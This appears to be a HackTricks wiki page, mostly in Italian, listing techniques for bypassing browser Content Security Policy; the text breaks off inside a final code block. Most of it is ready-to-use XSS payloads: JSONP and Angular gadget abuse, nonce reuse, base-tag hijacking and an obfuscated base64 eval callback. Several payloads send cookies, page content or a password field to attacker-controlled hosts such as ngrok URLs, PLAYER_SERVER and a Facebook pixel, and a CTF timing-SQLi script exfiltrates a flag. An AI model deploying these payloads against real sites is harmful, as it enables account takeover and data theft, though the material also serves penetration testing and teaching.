765 lines
44 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## Che cos'è CSP
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
- Implementato tramite header di risposta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementato tramite meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Intestazioni
CSP può essere applicato o monitorato usando queste intestazioni:
- `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni.
- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione.
### Definizione delle risorse
CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direttive
- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da event handler o fogli di stile XSLT.
- **default-src**: Imposta una policy predefinita per il recupero delle risorse quando non sono presenti direttive di fetch specifiche.
- **child-src**: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
- **connect-src**: Restringe le URL che possono essere caricate usando interfacce come fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restringe le URL per i frame.
- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
- **img-src**: Definisce le sorgenti consentite per le immagini.
- **font-src**: Specifica le sorgenti valide per i font caricati tramite `@font-face`.
- **manifest-src**: Definisce le sorgenti consentite per i file manifesto dell'applicazione.
- **media-src**: Definisce le sorgenti consentite per il caricamento di oggetti media.
- **object-src**: Definisce le sorgenti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
- **base-uri**: Specifica le URL consentite per il caricamento tramite elementi `<base>`.
- **form-action**: Elenca gli endpoint validi per l'invio dei form.
- **plugin-types**: Restringe i mime type che una pagina può invocare.
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere le URL HTTP in HTTPS.
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
- **report-to**: Specifica un gruppo a cui inviare un report se la policy viene violata.
- **worker-src**: Specifica le sorgenti valide per gli script di Worker, SharedWorker o ServiceWorker.
- **prefetch-src**: Specifica le sorgenti valide per risorse che verranno recuperate o precaricate.
- **navigate-to**: Restringe le URL verso cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
### Origini
- `*`: Consente tutte le URL tranne quelle con gli schemi `data:`, `blob:`, `filesystem:`.
- `'self'`: Consente il caricamento dallo stesso dominio.
- `'data'`: Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).
- `'none'`: Blocca il caricamento da qualsiasi sorgente.
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, sconsigliato per motivi di sicurezza.
- `'unsafe-hashes'`: Abilita specifici event handler inline.
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, sconsigliato per motivi di sicurezza.
- `'nonce'`: Una whitelist per script inline specifici usando un nonce crittografico (numero usato una volta).
- Se hai un'esecuzione JS limitata è possibile ottenere un nonce già usato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se è usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
<details>
<summary>Carica script riutilizzando il nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Inserisce nella whitelist gli script con uno specifico hash sha256.
- `'strict-dynamic'`: Permette il caricamento di script da qualsiasi origine se sono stati messi in whitelist tramite un nonce o hash.
- `'host'`: Specifica un host, ad esempio `example.com`.
- `https:`: Restringe gli URL a quelli che usano HTTPS.
- `blob:`: Consente di caricare risorse da Blob URL (es. Blob URL creati tramite JavaScript).
- `filesystem:`: Consente il caricamento di risorse dal filesystem.
- `'report-sample'`: Include un esempio del codice violante nel report di violazione (utile per il debugging).
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
- `'strict-origin-when-cross-origin'`: Invia URL completi quando effettua richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzano immediatamente a un'altra risorsa. Non raccomandato perché indebolisce la sicurezza.
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Payload funzionante: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' tramite iframe
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}}
### 'unsafe-eval'
> [!CAUTION]
> Questo non funziona, per maggiori informazioni [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Payload funzionante:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Se in qualche modo puoi far sì che un **codice JS consentito crei un nuovo script tag** nel DOM con il tuo codice JS, perché uno script consentito lo sta creando, il **nuovo script tag sarà autorizzato a essere eseguito**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funzionante payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Mancanza di object-src e default-src
> [!CAUTION] > **Sembra che questo non funzioni più**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payloads funzionanti:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Caricamento file + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Se puoi caricare un file JS puoi bypassare questa CSP:
Payload funzionante:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Tuttavia, è molto probabile che il server stia **validando il file caricato** e permetta solo di **caricare determinati tipi di file**.
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
Da qui, se trovi una XSS e un upload di file, e riesci a trovare un'**misinterpreted extension**, potresti provare a caricare un file con quella estensione contenente il contenuto dello script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Se non è possibile iniettare JS, puoi comunque provare a esfiltrare per esempio credenziali **iniettando un form action** (e magari sperando che i password manager compilino automaticamente le password). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre i form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Per alcuni dei payload seguenti **`unsafe-eval` non è nemmeno necessario**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Carica una versione vulnerabile di angular ed esegui JS arbitrario:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads che utilizzano Angular + una library con functions che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> L'articolo mostra che puoi caricare tutte le **libraries** da `cdn.cloudflare.com` (o qualsiasi altro repo di JS libraries consentito), eseguire tutte le **functions** aggiunte di ciascuna library e verificare **quali functions di quali libraries restituiscono l'oggetto `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS da un nome di classe:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abuso di google recaptcha JS code
Secondo [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di una CSP per eseguire arbitrary JS code eludendo la CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Altri [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abuso di www.google.com per open redirect
La seguente URL reindirizza a example.com (da [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abuso di \*.google.com/script.google.com
È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come mostrato in questo [report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoint di terze parti + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenari come questo, in cui `script-src` è impostato su `self` e un dominio particolare incluso nella whitelist, possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attacker di eseguire XSS, payload funzionante:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per CSP bypass di diversi siti web.**
La stessa vulnerabilità si verifica se l'endpoint trusted contiene un Open Redirect, perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.
### Abusi di terze parti
Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), esistono molti domini di terze parti che potrebbero essere consentiti nella CSP e che possono essere abusati per exfiltrate data o per eseguire codice JavaScript. Alcuni di questi fornitori di terze parti sono:
| Entità | Dominio consentito | Capacità |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Se trovi uno qualsiasi dei domini consentiti nella CSP del tuo target, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e quindi o exfiltrate data verso quel servizio oppure eseguire codice.
Ad esempio, se trovi la seguente CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
o
```
Content-Security-Policy: connect-src www.facebook.com;
```
Dovresti essere in grado di esfiltrare dati, in modo simile a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
1. Crea un Facebook Developer account qui.
2. Crea una nuova app "Facebook Login" e seleziona "Website".
3. Vai su "Settings -> Basic" e recupera il tuo "App ID"
4. Nel sito target da cui vuoi esfiltrare i dati, puoi farlo usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il relativo payload.
5. Vai al "Event Manager" della tua App e seleziona l'applicazione che hai creato (nota che l'event manager può essere trovato in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
Poi, sul lato della vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook Developer dell'attaccante e emettere un custom event come segue:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Consulta il precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per spiegazioni aggiuntive su altri abusi di terze parti.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Oltre alla redirezione sopracitata per aggirare le restrizioni di percorso, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
Ad esempio, se CSP permette il percorso `https://example.com/scripts/react/`, può essere aggirato come segue:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, il che è conforme alla CSP.
Successivamente, verrà decodificato, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
**Sfruttando questa inconsistenza nell'interpretazione degli URL tra il browser e il server, le regole sui percorsi possono essere eluse.**
La soluzione è non trattare `%2f` come `/` lato server, garantendo un'interpretazione coerente tra browser e server per evitare questo problema.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Esecuzione JS negli iframe
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### Mancanza di **base-uri**
Se la direttiva **base-uri** è assente puoi abusarne per eseguire una [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
Se la pagina vulnerabile è caricata con **httpS**, usa un URL httpS nel base.
```html
<base href="https://www.attacker.com/" />
```
### Eventi AngularJS
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare la CSP.
In particolare, su Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di sandbox escape.
Indirizzando questo array al filtro `orderBy`, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto `window`) per invocare una funzione globale come `alert()`. Lo snippet di codice mostrato di seguito illustra questo processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Questo snippet evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
**Trova altri Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS e whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Una CSP policy che whitelists domini per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune classi vulnerabili. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata reperibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads funzionanti:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Altri endpoint JSONP arbitrary execution possono essere trovati in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati eliminati o corretti)
### Bypass via Redirection
Cosa succede quando la CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un origin diverso che non è consentito, fallirà comunque.
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se il reindirizzamento porta a un path diverso, può bypassare le restrizioni originali.
Ecco un esempio:
```html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
Tuttavia, l'URL finale `http://localhost:5555/301` verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, aggirando così la restrizione sul percorso.
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini che possano essere sfruttati nelle regole CSP.
### Bypass CSP with dangling markup
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.
Puoi bypassare questa CSP esfiltrando i dati tramite immagini (in questo caso l'XSS sfrutta una CSRF in cui una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Potresti anche abusare di questa configurazione per **caricare javascript inserito all'interno di un'immagine**. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti **creare** una **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** la **JS** da essa ed **eseguirà** **quest'ultima**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Con Service Workers
Service workers **`importScripts`** function isn't limited by CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Policy Injection
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy**, allora potresti **alterare** la **policy** in qualche modo da renderla **inutile**. Potresti **permettere** lo script '**unsafe-inline**' con uno di questi bypass:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
In Edge è molto più semplice. Se riesci ad aggiungere nella CSP soltanto questo: **`;_`**, **Edge** annullerebbe l'intera **policy**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - attacco di timing
Notice the lack of the directive `'unsafe-inline'`\
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Stavolta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario al caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
Questa volta verrà estratta una **flag**: ogni volta che un **carattere viene indovinato correttamente** via SQLi la **risposta** impiega **più tempo** a causa della funzione sleep. Così riuscirai a estrarre la flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
```
### Via Bookmarklets
Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**.
Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\
La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**:
```html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
